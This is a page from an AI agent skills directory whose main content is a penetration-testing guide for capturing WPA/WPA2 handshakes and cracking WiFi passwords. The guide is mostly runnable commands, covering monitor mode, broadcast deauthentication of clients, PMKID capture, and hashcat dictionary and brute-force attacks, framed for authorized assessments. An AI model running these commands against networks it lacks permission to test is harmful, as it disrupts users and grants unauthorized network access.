[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG5A6QVMG6BAKZFRZRCSJA":3,"skill-same:01M6AG5A6QVMG6BAKZFRZRCSJA":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":37,"linkOnly":38,"markdownContent":39,"markdownBody":40,"frontMatter":41,"refName":58,"commitSha":59,"skillDirectory":60,"forksCount":61,"repositoryHtmlUrl":62,"repositoryHomepageUrl":63,"ownerHtmlUrl":64,"ownerBlogUrl":65,"ownerDescription":66,"updatedAt":67,"install":68,"resources":81},"01M6AG5A6QVMG6BAKZFRZRCSJA","performing-wifi-password-cracking-with-aircrack",null,"Captures WPA\u002FWPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36],"performing wifi password cracking with aircrack","security","network security","cybersecurity","pr","offline","network","network-security","WPA2","wireless-security","hashcat","wifi","aircrack-ng","2026-11-10 10:12:30",false,"---\nname: performing-wifi-password-cracking-with-aircrack\ndescription: 'Captures WPA\u002FWPA2 handshakes and performs offline password cracking\n  using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security\n  assessments to evaluate passphrase strength and wireless network security posture.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- wifi\n- aircrack-ng\n- wpa2\n- wireless-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n- T1591\n---\n# Performing WiFi Password Cracking with Aircrack-ng\n\n## When to Use\n\n- Assessing the strength of WPA\u002FWPA2\u002FWPA3 passphrases during authorized wireless penetration tests\n- Testing whether wireless networks are using weak or default passwords that can be cracked offline\n- Capturing and analyzing 4-way handshakes to evaluate wireless authentication security\n- Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders\n- Validating that enterprise wireless networks use 802.1X\u002FEAP instead of pre-shared keys\n\n**Do not use** against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.\n\n## Prerequisites\n\n- Written authorization specifying in-scope SSIDs and wireless networks\n- Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)\n- Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed\n- Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)\n- GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)\n\n## Workflow\n\n### Step 1: Prepare the Wireless Interface\n\n```bash\n# Identify wireless interfaces\niwconfig\n# or\niw dev\n\n# Kill interfering processes\nsudo airmon-ng check kill\n\n# Enable monitor mode\nsudo airmon-ng start wlan0\n# Output: monitor mode enabled on wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n# Mode should show \"Monitor\"\n\n# Alternatively, enable monitor mode manually\nsudo ip link set wlan0 down\nsudo iw dev wlan0 set type monitor\nsudo ip link set wlan0 up\n```\n\n### Step 2: Scan for Target Networks\n\n```bash\n# Scan all channels for access points\nsudo airodump-ng wlan0mon\n\n# Output columns:\n# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID\n# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork\n\n# Identify the target network parameters:\n# - BSSID (MAC address of the access point)\n# - Channel number\n# - Encryption type (WPA2-PSK is the target)\n# - Connected clients (in the lower section)\n\n# Focus scanning on the target channel\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture\n```\n\n### Step 3: Capture the WPA2 4-Way Handshake\n\n```bash\n# Method 1: Wait for a client to connect naturally\n# Keep airodump-ng running and wait for \"WPA handshake: AA:BB:CC:DD:EE:FF\" message\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture\n\n# Method 2: Deauthenticate a client to force reconnection (active)\n# In a separate terminal, send deauth packets to a specific client\nsudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon\n\n# Or deauth all clients (broadcast)\nsudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Method 3: Capture PMKID from the AP (no client needed)\n# Using hcxdumptool\nsudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2\n\n# Wait for \"PMKID\" message, then convert for hashcat\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng\n\n# Verify handshake was captured\naircrack-ng handshake_capture-01.cap\n# Should show: \"1 handshake\" next to the target BSSID\n\n# Alternative verification with cowpatty\ncowpatty -r handshake_capture-01.cap -c\n```\n\n### Step 4: Crack with Aircrack-ng (CPU-based)\n\n```bash\n# Crack using rockyou wordlist\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Use multiple wordlists\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt,\u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002F10-million-password-list-top-1000000.txt \\\n  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Crack with a specific ESSID\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -e \"TargetNetwork\" handshake_capture-01.cap\n\n# If successful, output shows:\n# KEY FOUND! [ password123 ]\n```\n\n### Step 5: Crack with Hashcat (GPU-accelerated)\n\n```bash\n# Convert capture to hashcat format\n# For handshake captures:\nhcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap\n\n# Or use aircrack-ng conversion\naircrack-ng handshake_capture-01.cap -j hashcat_input\n\n# Dictionary attack with hashcat\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Rule-based attack (transforms dictionary words)\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Brute force 8-character numeric passwords\nhashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d\n\n# Combination attack (two wordlists combined)\nhashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt\n\n# Mask attack for common patterns (Word + 4 digits)\nhashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d\n\n# For PMKID-specific hashes\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked password\nhashcat -m 22000 hashcat_input.hc22000 --show\n```\n\n### Step 6: Document and Clean Up\n\n```bash\n# Stop monitor mode\nsudo airmon-ng stop wlan0mon\n\n# Restart networking services\nsudo systemctl restart NetworkManager\n\n# Generate report\ncat > wifi_assessment_report.txt \u003C\u003C 'EOF'\nWiFi Security Assessment Results\n=================================\nTarget SSID: TargetNetwork\nBSSID: AA:BB:CC:DD:EE:FF\nEncryption: WPA2-PSK (CCMP)\nChannel: 6\n\nHandshake Capture: Successful (Method: Client deauthentication)\nCracking Result: PASSWORD FOUND\nPassword: [documented securely]\nTime to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)\n\nRecommendation: Change to a passphrase of 15+ characters with mixed case,\nnumbers, and symbols, or migrate to WPA2\u002FWPA3-Enterprise with 802.1X.\nEOF\n\n# Securely handle capture files (contain sensitive authentication material)\nsha256sum handshake_capture-01.cap > evidence_hashes.txt\n# Transfer to secure evidence storage per engagement agreement\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **4-Way Handshake** | WPA\u002FWPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking |\n| **PMKID** | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client |\n| **Monitor Mode** | Wireless interface mode that captures all wireless frames on a channel without associating with any access point |\n| **Deauthentication Attack** | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake |\n| **PSK (Pre-Shared Key)** | Static password used by all users to authenticate to a WPA\u002FWPA2-Personal network, vulnerable to offline dictionary attacks |\n| **802.1X\u002FEAP** | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability |\n\n## Tools & Systems\n\n- **aircrack-ng suite**: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)\n- **hashcat**: GPU-accelerated password cracker supporting WPA\u002FWPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks\n- **hcxtools**: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats\n- **hcxdumptool**: Capture tool specifically designed for PMKID extraction without requiring client deauthentication\n- **cowpatty**: WPA\u002FWPA2 cracking tool with precomputed hash table support for faster dictionary attacks\n\n## Common Scenarios\n\n### Scenario: Wireless Penetration Test for a Corporate Office\n\n**Context**: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.\n\n**Approach**:\n1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types\n2. Verify that Corp-WiFi uses 802.1X\u002FEAP by examining beacon frames -- confirmed, no PSK to crack\n3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection\n4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password \"Welcome2024!\" cracked in 47 seconds\n5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password \"iot12345\" found in 12 seconds\n6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable\n7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase\n\n**Pitfalls**:\n- Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope\n- Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)\n- Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)\n- Running GPU cracking on shared systems without monitoring temperature and power consumption\n\n## Output Format\n\n```\n## Wireless Security Assessment Report\n\n**Assessment Date**: 2024-03-15\n**Location**: Corporate Office, Building A\n\n### Network Inventory\n\n| SSID | BSSID | Encryption | Auth | Channel | Crackable |\n|------|-------|------------|------|---------|-----------|\n| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N\u002FA (Enterprise) |\n| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |\n| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |\n\n### Findings\n\n**Finding 1: Weak Guest-WiFi Password (High)**\n- Password: \"Welcome2024!\" (cracked via dictionary in 47 seconds)\n- Present in rockyou.txt top 100,000 entries\n- Shared among all visitors with no rotation policy\n\n**Finding 2: Trivial IoT-WiFi Password (Critical)**\n- Password: \"iot12345\" (cracked in 12 seconds)\n- Default-pattern password providing access to IoT device network\n- No network segmentation between IoT-WiFi and corporate resources\n\n### Recommendations\n1. Migrate Guest-WiFi to captive portal with per-session credentials\n2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation\n3. Implement network segmentation isolating IoT VLAN from corporate resources\n4. Consider WPA3-SAE for PSK networks to prevent offline cracking\n5. Enable 802.11w Protected Management Frames to prevent deauth attacks\n```\n","# Performing WiFi Password Cracking with Aircrack-ng\n\n## When to Use\n\n- Assessing the strength of WPA\u002FWPA2\u002FWPA3 passphrases during authorized wireless penetration tests\n- Testing whether wireless networks are using weak or default passwords that can be cracked offline\n- Capturing and analyzing 4-way handshakes to evaluate wireless authentication security\n- Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders\n- Validating that enterprise wireless networks use 802.1X\u002FEAP instead of pre-shared keys\n\n**Do not use** against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.\n\n## Prerequisites\n\n- Written authorization specifying in-scope SSIDs and wireless networks\n- Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)\n- Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed\n- Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)\n- GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)\n\n## Workflow\n\n### Step 1: Prepare the Wireless Interface\n\n```bash\n# Identify wireless interfaces\niwconfig\n# or\niw dev\n\n# Kill interfering processes\nsudo airmon-ng check kill\n\n# Enable monitor mode\nsudo airmon-ng start wlan0\n# Output: monitor mode enabled on wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n# Mode should show \"Monitor\"\n\n# Alternatively, enable monitor mode manually\nsudo ip link set wlan0 down\nsudo iw dev wlan0 set type monitor\nsudo ip link set wlan0 up\n```\n\n### Step 2: Scan for Target Networks\n\n```bash\n# Scan all channels for access points\nsudo airodump-ng wlan0mon\n\n# Output columns:\n# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID\n# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork\n\n# Identify the target network parameters:\n# - BSSID (MAC address of the access point)\n# - Channel number\n# - Encryption type (WPA2-PSK is the target)\n# - Connected clients (in the lower section)\n\n# Focus scanning on the target channel\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture\n```\n\n### Step 3: Capture the WPA2 4-Way Handshake\n\n```bash\n# Method 1: Wait for a client to connect naturally\n# Keep airodump-ng running and wait for \"WPA handshake: AA:BB:CC:DD:EE:FF\" message\nsudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture\n\n# Method 2: Deauthenticate a client to force reconnection (active)\n# In a separate terminal, send deauth packets to a specific client\nsudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon\n\n# Or deauth all clients (broadcast)\nsudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon\n\n# Method 3: Capture PMKID from the AP (no client needed)\n# Using hcxdumptool\nsudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2\n\n# Wait for \"PMKID\" message, then convert for hashcat\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng\n\n# Verify handshake was captured\naircrack-ng handshake_capture-01.cap\n# Should show: \"1 handshake\" next to the target BSSID\n\n# Alternative verification with cowpatty\ncowpatty -r handshake_capture-01.cap -c\n```\n\n### Step 4: Crack with Aircrack-ng (CPU-based)\n\n```bash\n# Crack using rockyou wordlist\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Use multiple wordlists\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt,\u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002F10-million-password-list-top-1000000.txt \\\n  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap\n\n# Crack with a specific ESSID\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -e \"TargetNetwork\" handshake_capture-01.cap\n\n# If successful, output shows:\n# KEY FOUND! [ password123 ]\n```\n\n### Step 5: Crack with Hashcat (GPU-accelerated)\n\n```bash\n# Convert capture to hashcat format\n# For handshake captures:\nhcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap\n\n# Or use aircrack-ng conversion\naircrack-ng handshake_capture-01.cap -j hashcat_input\n\n# Dictionary attack with hashcat\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Rule-based attack (transforms dictionary words)\nhashcat -m 22000 hashcat_input.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Brute force 8-character numeric passwords\nhashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d\n\n# Combination attack (two wordlists combined)\nhashcat -m 22000 hashcat_input.hc22000 -a 1 wordlist1.txt wordlist2.txt\n\n# Mask attack for common patterns (Word + 4 digits)\nhashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d\n\n# For PMKID-specific hashes\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Show cracked password\nhashcat -m 22000 hashcat_input.hc22000 --show\n```\n\n### Step 6: Document and Clean Up\n\n```bash\n# Stop monitor mode\nsudo airmon-ng stop wlan0mon\n\n# Restart networking services\nsudo systemctl restart NetworkManager\n\n# Generate report\ncat > wifi_assessment_report.txt \u003C\u003C 'EOF'\nWiFi Security Assessment Results\n=================================\nTarget SSID: TargetNetwork\nBSSID: AA:BB:CC:DD:EE:FF\nEncryption: WPA2-PSK (CCMP)\nChannel: 6\n\nHandshake Capture: Successful (Method: Client deauthentication)\nCracking Result: PASSWORD FOUND\nPassword: [documented securely]\nTime to Crack: 3 minutes 47 seconds (rockyou.txt, hashcat GPU)\n\nRecommendation: Change to a passphrase of 15+ characters with mixed case,\nnumbers, and symbols, or migrate to WPA2\u002FWPA3-Enterprise with 802.1X.\nEOF\n\n# Securely handle capture files (contain sensitive authentication material)\nsha256sum handshake_capture-01.cap > evidence_hashes.txt\n# Transfer to secure evidence storage per engagement agreement\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **4-Way Handshake** | WPA\u002FWPA2 authentication exchange between client and AP that derives session keys from the PSK, captured for offline password cracking |\n| **PMKID** | Pairwise Master Key Identifier included in the first EAPOL frame from the AP, allowing password cracking without capturing the full handshake or requiring a connected client |\n| **Monitor Mode** | Wireless interface mode that captures all wireless frames on a channel without associating with any access point |\n| **Deauthentication Attack** | Sending forged 802.11 management frames to disconnect a client from the AP, forcing a reconnection that generates a capturable handshake |\n| **PSK (Pre-Shared Key)** | Static password used by all users to authenticate to a WPA\u002FWPA2-Personal network, vulnerable to offline dictionary attacks |\n| **802.1X\u002FEAP** | Enterprise wireless authentication using RADIUS that provides per-user credentials, eliminating the shared password vulnerability |\n\n## Tools & Systems\n\n- **aircrack-ng suite**: Comprehensive wireless security toolkit including airodump-ng (capture), aireplay-ng (injection), and aircrack-ng (cracking)\n- **hashcat**: GPU-accelerated password cracker supporting WPA\u002FWPA2 handshakes (mode 22000) with dictionary, rule, and mask attacks\n- **hcxtools**: Tools for capturing PMKID and converting wireless captures to hashcat-compatible formats\n- **hcxdumptool**: Capture tool specifically designed for PMKID extraction without requiring client deauthentication\n- **cowpatty**: WPA\u002FWPA2 cracking tool with precomputed hash table support for faster dictionary attacks\n\n## Common Scenarios\n\n### Scenario: Wireless Penetration Test for a Corporate Office\n\n**Context**: A financial services company wants to assess the security of their wireless networks. They have three SSIDs: Corp-WiFi (WPA2-Enterprise for employees), Guest-WiFi (WPA2-PSK for visitors), and IoT-WiFi (WPA2-PSK for IoT devices). The assessment is authorized to test all three networks.\n\n**Approach**:\n1. Scan for all three SSIDs and identify their BSSIDs, channels, and encryption types\n2. Verify that Corp-WiFi uses 802.1X\u002FEAP by examining beacon frames -- confirmed, no PSK to crack\n3. Capture the 4-way handshake for Guest-WiFi by deauthenticating a connected device and capturing the reconnection\n4. Run hashcat with rockyou.txt against the Guest-WiFi handshake -- password \"Welcome2024!\" cracked in 47 seconds\n5. Capture PMKID from IoT-WiFi access point (no client deauth needed) and crack with hashcat -- password \"iot12345\" found in 12 seconds\n6. Demonstrate that Guest-WiFi and IoT-WiFi passwords are weak and easily crackable\n7. Recommend migrating Guest-WiFi to a captive portal with per-session passwords and strengthening IoT-WiFi to a 20+ character passphrase\n\n**Pitfalls**:\n- Sending excessive deauth frames that disrupt legitimate wireless users beyond the test scope\n- Not using a wireless adapter that supports the target network's frequency band (2.4 GHz vs 5 GHz)\n- Attempting to crack WPA3-SAE networks with traditional handshake capture (SAE is resistant to offline attacks)\n- Running GPU cracking on shared systems without monitoring temperature and power consumption\n\n## Output Format\n\n```\n## Wireless Security Assessment Report\n\n**Assessment Date**: 2024-03-15\n**Location**: Corporate Office, Building A\n\n### Network Inventory\n\n| SSID | BSSID | Encryption | Auth | Channel | Crackable |\n|------|-------|------------|------|---------|-----------|\n| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N\u002FA (Enterprise) |\n| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | YES - 47 seconds |\n| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | YES - 12 seconds |\n\n### Findings\n\n**Finding 1: Weak Guest-WiFi Password (High)**\n- Password: \"Welcome2024!\" (cracked via dictionary in 47 seconds)\n- Present in rockyou.txt top 100,000 entries\n- Shared among all visitors with no rotation policy\n\n**Finding 2: Trivial IoT-WiFi Password (Critical)**\n- Password: \"iot12345\" (cracked in 12 seconds)\n- Default-pattern password providing access to IoT device network\n- No network segmentation between IoT-WiFi and corporate resources\n\n### Recommendations\n1. Migrate Guest-WiFi to captive portal with per-session credentials\n2. Change IoT-WiFi to 20+ character random passphrase with quarterly rotation\n3. Implement network segmentation isolating IoT VLAN from corporate resources\n4. Consider WPA3-SAE for PSK networks to prevent offline cracking\n5. Enable 802.11w Protected Management Frames to prevent deauth attacks\n```\n",{"name":5,"tags":42,"author":44,"domain":27,"license":15,"version":45,"nist_csf":46,"subdomain":31,"description":51,"mitre_attack":52},[31,35,36,43,33],"wpa2","mahipal","1.0",[47,48,49,50],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Captures WPA\u002FWPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.\n",[53,54,55,56,57],"T1046","T1040","T1557","T1071","T1591","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-wifi-password-cracking-with-aircrack",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-wifi-password-cracking-with-aircrack",{"tool":74,"command":75},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-wifi-password-cracking-with-aircrack",{"tool":77,"command":78},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-wifi-password-cracking-with-aircrack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FSKILL.md",true,[82,87,93],{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002FLICENSE",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fapi-reference.md","REFERENCE","参考文档",2327,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002Freferences\u002Fapi-reference.md",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fagent.py","SCRIPT","脚本",7820,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-wifi-password-cracking-with-aircrack\u002Fscripts\u002Fagent.py",[100,125,149,177,203,230],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":107,"publishedAt":37},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[106],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[108,109,110,111,25,27,112,113,28,114,115,116,117,118,119,120,121,122,123,124],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":132,"publishedAt":37},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[131],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[133,121,134,135,25,136,27,28,137,138,139,140,141,142,143,144,145,146,147,148],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":150,"name":151,"nameZh":6,"description":152,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":159,"publishedAt":37},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or 